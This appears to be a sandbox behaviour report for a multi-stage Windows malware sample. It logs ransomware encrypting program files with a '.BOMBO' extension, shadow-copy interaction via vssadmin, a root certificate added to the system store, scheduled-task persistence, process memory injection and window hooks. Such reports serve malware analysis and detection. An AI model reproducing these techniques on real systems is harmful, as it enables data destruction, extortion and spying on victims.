File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-options.xml	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Mozilla Firefox\locale.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans.nl_zh_4.4.0.v20140623020002.jar.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105396.WMF	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\RICEPAPR\THMBNAIL.PNG.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.properties.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\MANIFEST.MF.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Google\Chrome\Application\106.0.5249.119\VisualElements\SmallLogoBeta.png.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Internet Explorer\DiagnosticsHub_is.dll	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Updater6\AdobeUpdate.cer	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\INDUST\THMBNAIL.PNG	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\spacer_highlights.png	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0152568.WMF.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\org-openide-filesystems_zh_CN.jar.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\VideoLAN\VLC\lua\http\images\Audio-48.png.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\flower_m.png	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.util_8.1.14.v20131031.jar	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.nl_zh_4.4.0.v20140623020002.jar	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\gimap.jar.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH01461_.WMF	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105504.WMF.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0144773.JPG.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPHandle.png.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\it-IT\js\settings.js	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\MANIFEST.MF	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0152568.WMF	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Manaus.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0200189.WMF.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0309904.WMF.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\shatter.png	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\dragHandle.png.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_gray_few-showers.png	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec.exe.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0090087.WMF.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107496.WMF.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macGrey.png.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\setNetworkServerCP.bat.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A

Enumerates physical storage devices

Interacts with shadow copies

ransomware

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\vssadmin.exe	N/A

Modifies registry key

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\REG.exe	N/A

Modifies system certificate store

evasion spyware trojan

Description	Indicator	Process	Target
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	C:\Users\Admin\AppData\Roaming\10.exe	N/A
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	C:\Users\Admin\AppData\Roaming\10.exe	N/A

Scheduled Task/Job: Scheduled Task

persistence execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\schtasks.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\schtasks.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\schtasks.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\schtasks.exe	N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\3.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\4.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\5.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\6.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\7.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\8.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\9.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\10.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\11.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\12.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\13.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\14.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\15.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\17.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\19.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\20.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\21.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\22.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\23.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\25.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\26.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\27.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\28.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\29.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\31.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\27.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\27.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\8.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\26.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\26.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\26.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\5.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\13.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\3.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\18.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\explorer.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\explorer.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Roaming\5.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\Explorer.EXE	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\Explorer.EXE	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\colorcpl.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\Explorer.EXE	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\Explorer.EXE	N/A
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Roaming\8.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Roaming\26.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\system32\vssvc.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\system32\vssvc.exe	N/A
Token: SeAuditPrivilege	N/A	C:\Windows\system32\vssvc.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\Explorer.EXE	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\Explorer.EXE	N/A
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Roaming\18.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\explorer.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\Explorer.EXE	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\Explorer.EXE	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A

Suspicious use of SendNotifyMessage

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A
N/A	N/A	C:\Windows\Explorer.EXE	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\3.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\7.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\5.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\13.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\15.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\19.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\20.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\23.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\28.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\25.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\31.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2000 wrote to memory of 2540	N/A	C:\Users\Admin\AppData\Local\Temp\31.exe	C:\Windows\system32\cmd.exe
PID 2000 wrote to memory of 2540	N/A	C:\Users\Admin\AppData\Local\Temp\31.exe	C:\Windows\system32\cmd.exe
PID 2000 wrote to memory of 2540	N/A	C:\Users\Admin\AppData\Local\Temp\31.exe	C:\Windows\system32\cmd.exe
PID 2000 wrote to memory of 2540	N/A	C:\Users\Admin\AppData\Local\Temp\31.exe	C:\Windows\system32\cmd.exe
PID 2540 wrote to memory of 1688	N/A	C:\Windows\system32\cmd.exe	C:\Program Files\Java\jre7\bin\javaw.exe
PID 2540 wrote to memory of 1688	N/A	C:\Windows\system32\cmd.exe	C:\Program Files\Java\jre7\bin\javaw.exe
PID 2540 wrote to memory of 1688	N/A	C:\Windows\system32\cmd.exe	C:\Program Files\Java\jre7\bin\javaw.exe
PID 2540 wrote to memory of 472	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\2.exe
PID 2540 wrote to memory of 472	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\2.exe
PID 2540 wrote to memory of 472	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\2.exe
PID 2540 wrote to memory of 472	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\2.exe
PID 2540 wrote to memory of 1188	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\3.exe
PID 2540 wrote to memory of 1188	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\3.exe
PID 2540 wrote to memory of 1188	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\3.exe
PID 2540 wrote to memory of 1188	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\3.exe
PID 2540 wrote to memory of 1280	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\4.exe
PID 2540 wrote to memory of 1280	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\4.exe
PID 2540 wrote to memory of 1280	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\4.exe
PID 2540 wrote to memory of 1280	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\4.exe
PID 472 wrote to memory of 1248	N/A	C:\Users\Admin\AppData\Roaming\2.exe	C:\Users\Admin\AppData\Roaming\2.exe
PID 472 wrote to memory of 1248	N/A	C:\Users\Admin\AppData\Roaming\2.exe	C:\Users\Admin\AppData\Roaming\2.exe
PID 472 wrote to memory of 1248	N/A	C:\Users\Admin\AppData\Roaming\2.exe	C:\Users\Admin\AppData\Roaming\2.exe
PID 472 wrote to memory of 1248	N/A	C:\Users\Admin\AppData\Roaming\2.exe	C:\Users\Admin\AppData\Roaming\2.exe
PID 2540 wrote to memory of 2604	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\5.exe
PID 2540 wrote to memory of 2604	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\5.exe
PID 2540 wrote to memory of 2604	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\5.exe
PID 2540 wrote to memory of 2604	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\5.exe
PID 2540 wrote to memory of 1592	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\6.exe
PID 2540 wrote to memory of 1592	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\6.exe
PID 2540 wrote to memory of 1592	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\6.exe
PID 2540 wrote to memory of 1592	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\6.exe
PID 2540 wrote to memory of 2116	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\7.exe
PID 2540 wrote to memory of 2116	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\7.exe
PID 2540 wrote to memory of 2116	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\7.exe
PID 2540 wrote to memory of 2116	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\7.exe
PID 2540 wrote to memory of 300	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\8.exe
PID 2540 wrote to memory of 300	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\8.exe
PID 2540 wrote to memory of 300	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\8.exe
PID 2540 wrote to memory of 300	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\8.exe
PID 2540 wrote to memory of 1572	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\9.exe
PID 2540 wrote to memory of 1572	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\9.exe
